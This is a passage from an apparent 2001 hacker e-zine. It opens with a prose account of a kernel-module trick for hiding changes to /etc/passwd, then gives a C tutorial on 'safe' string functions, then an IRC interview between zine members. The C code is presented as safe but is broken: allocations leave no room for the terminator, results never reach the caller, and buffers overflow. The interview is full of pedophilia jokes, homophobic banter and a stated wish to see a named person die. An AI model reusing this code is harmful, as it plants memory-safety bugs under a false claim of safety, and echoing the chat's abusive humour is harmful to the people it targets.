intended to leave an entry for himself in the /etc/passwd file. He could take a 'snapshot' of the attributes of the passwd file before he modifies it, instruct his kernel module to report those attributes regardless of the true filesystem-level attributes, then proceed to modify the file for his purposes. This vulnerability also applies with kernels without loadable modules, although it would involve injecting this code into the kernel image itself, then rebooting the system to ensure the new 'hacked' kernel is running. At any rate, these vulnerabilities are "entirely theoretical", but I'm under no false delusion that they're not practical for a skilled enough intruder to use. ,-----title--------------------------------------------------author------. 07 .-. Safe string handling in C..............................jmallet.... | `--------------------------------------------------------------------' For those of you who don't wish to use strlcat/strlcpy, but want (reasonably) safe string concatenation and copying, I have some tips and code you might find useful, and possibly even easier. The first is that if you're dealing mostly with concatenation and copying to arrays (from doesn't matter) then you can easily do something like this (assuming you will use the sample code): #define strcat(x,y) stracat(x,y,sizeof(x)/sizeof(x[0])) #define strcpy(x,y) stracpy(x,y,sizeof(x)/sizeof(x[0])) These will work with arrays because the compile knows the sizes of the arrays. If you will be using the sample code, as well as the above defines, it is recommended that you use strpcat()/strpcpy() when dealing with pointers to strings. Here's our stracat() code, safe concatenation to arrays. (Note: if you won't be using the above macros, you need to pass the size of the array as the third argument). It returns the number of characters that could not be concatenated. int stracat(dest, src, n) char *dest, *src; int n; { int x, y; x = n - strlen(dest); y = (strlen(src) - x) + 1; /* The number trimmed (y) is 1-offset */ if (x == 0) return(strlen(src)); /* * If there is no space to concatenate, the source string was trimmed * in entirety */ while (*dest != '\\\\0') *dest++; /* *dest now is the end of the destination, and we can concatenate */ while (*src != '\\\\0') { /* This is concatenation voodoo */ if (x != 1) { *dest++ = *src; x--; } src++; } *dest = '\\\\0'; /* Terminate our brand new string */ return y; /* Return number trimmed */ } Now as you can imagine, stracpy() is fairly straightforward, and works pretty much the same. int stracpy(dest, src, n) char *dest, *src; int n; { int x, y; x = n; y = (strlen(src) - x) + 1; /* The number trimmed (y) is 1-offset */ if (x == 0) return(strlen(src)); /* * There is something wrong if the string length is '0' */ while (*src != '\\\\0') { /* Copy over each character */ if (x != 1) { *dest++ = *src; x--; } src++; } *dest = '\\\\0'; /* Terminate our brand new string */ return y; /* Return number trimmed */ } The pointer-related functions are much simpler; For strpcat() we use realloc(3) and for strpcpy() we use malloc(3). We do not trim, we extend or shrink the size of the memory allocated, based on how much we need. The strpcat() function relies on stracat() and stracpy(). int strpcat(dest, src) char *dest, *src; { char *temp; int length; length = strlen(dest) + strlen(src); temp = malloc(length); if (temp == NULL) return -1; /* If something went wrong, return -1 */ stracpy(temp, dest, length); stracat(temp, src, length); free(dest); dest = temp; return 0; } int strpcpy(dest, src) char *dest, *src; { char *temp; temp = realloc(src, strlen(src) * sizeof (char)); free(dest); dest = temp; if (dest == NULL) return -1; /* If something went wrong, return -1 */ return 0; } If you want to trim the strings used in pointers, rather than extending the size (note that we also shrink the size too, which is efficient), you can use the array functions, but you have to use them like strlcat() or strlcpy(). Consider the code: char *zebra; #define STRINGx0r "haha" zebra = strdup(STRINGx0r); sprintf(zebra, "cow"); stracat(zebra, "moo", strlen(STRINGx0r)); stracpy(zebra, STRINGx0r, strlen(STRINGx0r)); If you wish to do some checking of concatenation, you should use strstr(3), to see if one string begins at the end of the first. One final note about strl* vs. stra*: Ours return the number of characters trimmed off the end (0 on success), theirs returns the number of characters written successfully (strlen(src)+strlen(dest) on success). The advantage of our return type is only evident if you plan on using the functions' return values for conditional statements. ,-----title--------------------------------------------------author------. ?? .-. Interview with Jestar..................................Fleabag.... | `--------------------------------------------------------------------' Session Start: Thu Sep 06 18:33:38 2001 [18:33] j, hot to trot? [18:35] indeed [18:35] lets kick this monkey [18:36] I'd like to thank you for giving me the opportunity to not actually write an article. Lets hope this goes better than the last one. [18:36] i dont think it could be much worse [18:36] well as long as you keep your pants on [18:36] I'm not wearing pants. [18:36] When did you get into phreaking? [18:37] umm, about 3 years ago? [18:37] can you at least cross your legs or something, its disturbing [18:37] Thats very interesting, I wasn't aware you'd been doing it for so long. [18:38] yep. long time [18:38] I know you're a musician, and its common knowledge you're into punk, so what bands are you really into at the moment? [18:38] right now, hblock 101, operation ivy, sex pistols, and then some other stuff like reel big fish, area 7 and the living end [18:39] Do you think the au phreaking scene is dead? [18:39] deader than dead. [18:39] and then some [18:39] Favorite zine? (Besides infosurge?) I heard Payloads pretty hot. Its the money shot. [18:40] i like to get naked and rub myself with payload [18:41] ..... jesus christ, this interviews taken a homosexual detour, hasn't it? [18:41] yeah, how did that happen? [18:41] been hanging around phase too much i think [18:42] I'm asking the questions here Captain Gayhumour. [18:42] If you could be any member of the infosurge crew, who would you be? [18:42] k [18:42] do you even have to ask that question anymore? [18:42] Yeah, the answers getting pretty standard. [18:42] I'm hoping ikari says me. [18:42] He said I had pretty hair. [18:42] ikari is gonna say himself [18:42] you know it [18:43] i hear ikari was arrested the other day? [18:43] Yeah, shop lifting. Where is this country headed? [18:43] * Fleabag shakes head [18:43] a magical place of vx and monkeys im thinking [18:43] Current hardware setup? And keep this brief, we don't have all night. [18:44] can i just say shitbox? [18:44] Yeah, that'll do. Its not like I care. [18:44] Then again, I don't read this crap. [18:44] well, shitbox then. [18:44] Who do you think I should interview next? And why? [18:44] hmm. id say interview ikari next [18:45] he's a seething little ball of hate just waiting to go off [18:45] Plus I'd like to question the holy bread issue, A Current Affair style. [18:46] id pay to see that [18:46] Favorite site? [18:46] megatokyo [18:46] Good choice. Nothing like japanese schoolgirls. [18:47] indeed [18:47] oh crap. [18:47] Especially when they're bound and gagged in the boot of my car. [18:48] you're a sucker for the classics, arent you [18:48] Whos the most interesting person you've ever met online? Remembering if you stroke my ego, and even some other parts of my body, I might keep the pedophilic humour level to a low. [18:49] umm most interesting person would be you probably [18:49] after all, you are the son of god [18:50] Nice work. Nothing like a little praise. [18:50] except maybe a little kid [18:51] The pedophilic humour. The jokes. The abuse. Your thoughts on the issue. [18:51] well [18:51] first off [18:51] im not a pedophile, she was 18 i swear. [18:52] the jokes [18:52] well the jokes are gold [18:53] after all, 2600 handpick jokes from us to use themselves [18:53] hey, have we been paid for the jokes yet? [18:53] I know I haven't been paid, and I've had hundreds of jokes stolen off me. [18:53] Sons of bitches, personally I blame lymco. [18:53] you should start boxing up snakes [18:54] Have you written for any other zine besides infosurge? And would you consider it? Cause I hear NAMBLAsurge is short on articles. [18:54] well, although ive been approached by them, im afraid they had to reject me because im not from north america [18:55] which is good, because then i'd have to shoot someone, being american and all it would be the thing to do [18:55] I'm suprised I got this far without mentioning NAMBLA. [18:55] so am i [18:55] i was expecting pedo jokes from the outset [18:55] No, they come later.... when I add comments, and quote things you never said. [18:56] What do you feel your role in infosurge is? [18:57] my role in infosurge? [18:57] Is there an echo in here? [18:57] echo? [18:57] Your role in infosurge is? [18:57] my role in infosurge is obviously musical director [18:58] if i wasnt there we'd have retards like phase listening to nelly furtado or some such bullshit *Umm, at this point, jestar started to bore me, so I went to watch tv for a while.* [20:51] where the fuck did you go? seriously that was like 3 hours [20:52] hahahahaha, I can't wait for the timestamp. [20:52] Thoughts on the current bickering among people within the scene online, and at some stages, offline. [20:52] there is no scene [20:52] its all in your imagination! [20:52] but ive heard that mr lunix has the last word on all arguments [20:52] mr lunix scares me [20:52] Any current projects you'd like to share with our readers? All three of them. [20:52] hmm [20:52] no, no projects on the go right now [20:53] Consider this situation, someone threatens you online. Claims to have your address. Claims to visit your house, and in general, acts like a tool. What do you do? [20:53] well [20:53] first id cry [20:53] then id threaten them with 'i have a relative in the police force' [20:53] and then id go on about it in infosurge for 2 fucking months [20:53] every 5 seconds [20:53] 'im going to kill him' [20:53] i reckon thats a good plan [20:54] what the hell were you doing anyway? and is that a monkey in your pocket [20:58] i bet you're drinking [20:59] I should be drinking. [20:59] we all should be [20:59] Anything you'd like to say about fat people while you have the mic? [21:00] hmm [21:00] nah [21:00] i think 'fat people' says it all [21:00] Good point. [21:00] lymco really shits me. Hes as annoying as an inner ear infection, and twice as painful. Thats not a question either, I'm just making a point. Moving right along. [21:00] im glad you got that off your chest. feel better? [21:00] Yes. [21:00] Your view.. no, seriously, did you see how poor my last article was because of him? And he edited it. You know who else I hate? Damien. He is such a fuck. I'd love to watch him die. Anyway... [21:01] you're very bitter arent you [21:01] you arent related to ikari at all? [21:01] I hope not. God, that'd suck. Imagine having to see him at family events? [21:01] Anyway. [21:01] Your views on the 'infosurge elitest attitude' all of us have. [21:02] im not talking to you, im above you. [21:02] We're about ready to wrap this thing up, while you have the nation at its knees, is there anything you'd like to mention? [21:03] the nation is lymcos mother? [21:03] ooh yeah, got a lymcos mother joke in. [21:03] my work here is now done [21:03] Nice work. [21:03] One final question, before I end this pathetic attempt at humour... or information, or whatever the hell this garbage is, when were you planning on hooking me up with the cute singer from your band? [21:04] i dont know what you're talking about. [21:04] You bastard. [21:04] I thank you for your time jestar, your thoughts and jokes about lymcos mother will forever remain a part of infosurge. [21:05] the bills on its way *... my final thought ...* So much can be said about jestar. Infact, many things are said about jestar, usually when he isn't around. Over all, hes an easy target for humour. Most of which is in jest. ('jest'! 'jestar'! I'm a motherfucking comicial genius!) He listens to god awful music, infects others with his god awful music. Has the egotistical view that he is the musicial director of infosurge. (When we all know who that is.) Hes been around since the beginnings of the zine, (Back when people actually cared.), and most of his knowledge isn't made up. Hes a fundemental part of the infosurge comedy bandwagon, and an important member of the team. Now if only we liked him. On the Fleabag Human Rating System (TM) I give jestar 4/10, he was heading for a 1, but slamming in a lymcos mother joke during this interview make all the difference. -Fleabag that now concludes our broadcast. thanks for reading. -- www.infosurge.org .--------------------------------------------------------------outro----. `-----------------------------------------------------------------------' shut the gates, it time for you to go home.